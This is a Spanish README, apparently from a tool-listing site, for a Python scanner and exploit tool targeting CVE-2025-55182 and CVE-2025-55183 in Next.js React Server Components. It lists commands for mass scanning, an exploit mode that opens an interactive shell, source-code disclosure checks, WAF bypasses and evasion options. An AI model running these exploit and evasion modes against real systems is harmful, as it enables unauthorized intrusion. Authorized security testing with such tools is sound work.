Escáner CVE-2025-55182

Este repositorio contiene una herramienta de escaneo para CVE-2025-55182 (RCE) y CVE-2025-55183 (Divulgación de Código Fuente) en React Server Components (RSC) de Next.js.

⚠️ Aviso legal

Esta herramienta es solo para fines educativos y de pruebas autorizadas. No utilice esta herramienta en sistemas que no posea o para los que no tenga permiso explícito de prueba. Los autores no son responsables de ningún uso indebido.

• Disculpe la demora, se encontró otra vulnerabilidad para su análisis, gracias por informar su problema.
• Actualmente estoy buscando vulnerabilidades divulgadas por Vercel en HackerOne. Si alguien está interesado en unirse, puede abrir un issue o consultar VERCEL_RESEARCH.md para investigación y colaboración en curso.

Análisis

Para un análisis técnico detallado, consulte: https://react2shell.com/

Requisitos previos

• Python 3.x: Necesario para ejecutar el escáner.
• Dependencias: Instálelas vía pip:
  root@kitploit:~

  pip3 install -r requirements.txt
  

Uso

Escaneo básico

Verifique si una URL objetivo es vulnerable.

python3 CVE-2025-55182.py -u <url>

Escanear múltiples objetivos

Escanee una lista de hosts desde un archivo (uno por línea).

python3 CVE-2025-55182.py -l <hosts_file>

Shell interactivo (Modo Exploit)

Obtenga un shell interactivo en un objetivo vulnerable.

python3 CVE-2025-55182.py -u <url> --exploit

Verificación de Divulgación de Código Fuente (CVE-2025-55183)

Verifique si un objetivo filtra código fuente a través de Server Actions.

python3 CVE-2025-55182.py -u <url> --nextjs-rsc-source-code-disclosure

Opciones avanzadas

Comprobación segura

Utilice detección de canal lateral (basada en tiempos/errores) en lugar de intentar RCE.

python3 CVE-2025-55182.py -u <url> --safe-check

Bypass de WAF

Agregue datos basura para eludir la inspección de contenido del WAF o use bypasses específicos.

# Standard WAF bypass (junk data)
python3 CVE-2025-55182.py -u <url> --waf-bypass --waf-bypass-size 128

# Vercel WAF bypass variant
python3 CVE-2025-55182.py -u <url> --vercel-waf-bypass

Encabezados personalizados y proxy

# Custom headers
python3 CVE-2025-55182.py -u <url> -H "Authorization: Bearer token" -H "X-Custom: Header"

# Proxy usage
python3 CVE-2025-55182.py -u <url> --proxy http://127.0.0.1:8080

Evasión y especificidad

# Random User-Agent and Delay
python3 CVE-2025-55182.py -u <url> --random-agent --delay 2.0

# Scan specific path
python3 CVE-2025-55182.py -u <url> --path /_next --path /api

Opciones de salida

Guarde los resultados en un archivo en formato JSON, CSV o HTML. La bandera --all-results guarda tanto hosts vulnerables como no vulnerables.

python3 CVE-2025-55182.py -u <url> -o results.json --format json --all-results

Todos los argumentos

Soporte para Docker

Puede ejecutar una instancia vulnerable para pruebas usando la imagen Docker proporcionada:

docker build -t cve-local .
docker run --rm -p 3000:3000 cve-local

🔬 Investigación y colaboración

¿Interesado en la investigación de seguridad de Vercel? Consulte nuestro documento de investigación colaborativa:

📄 VERCEL_RESEARCH.md - Una guía completa para:

• Analizar vulnerabilidades de Vercel divulgadas en HackerOne
• Comprender técnicas de bypass de WAF
• Contribuir con hallazgos e investigación
• Colaborar con la comunidad de seguridad

¡Abra un issue con la etiqueta research para unirse a la discusión!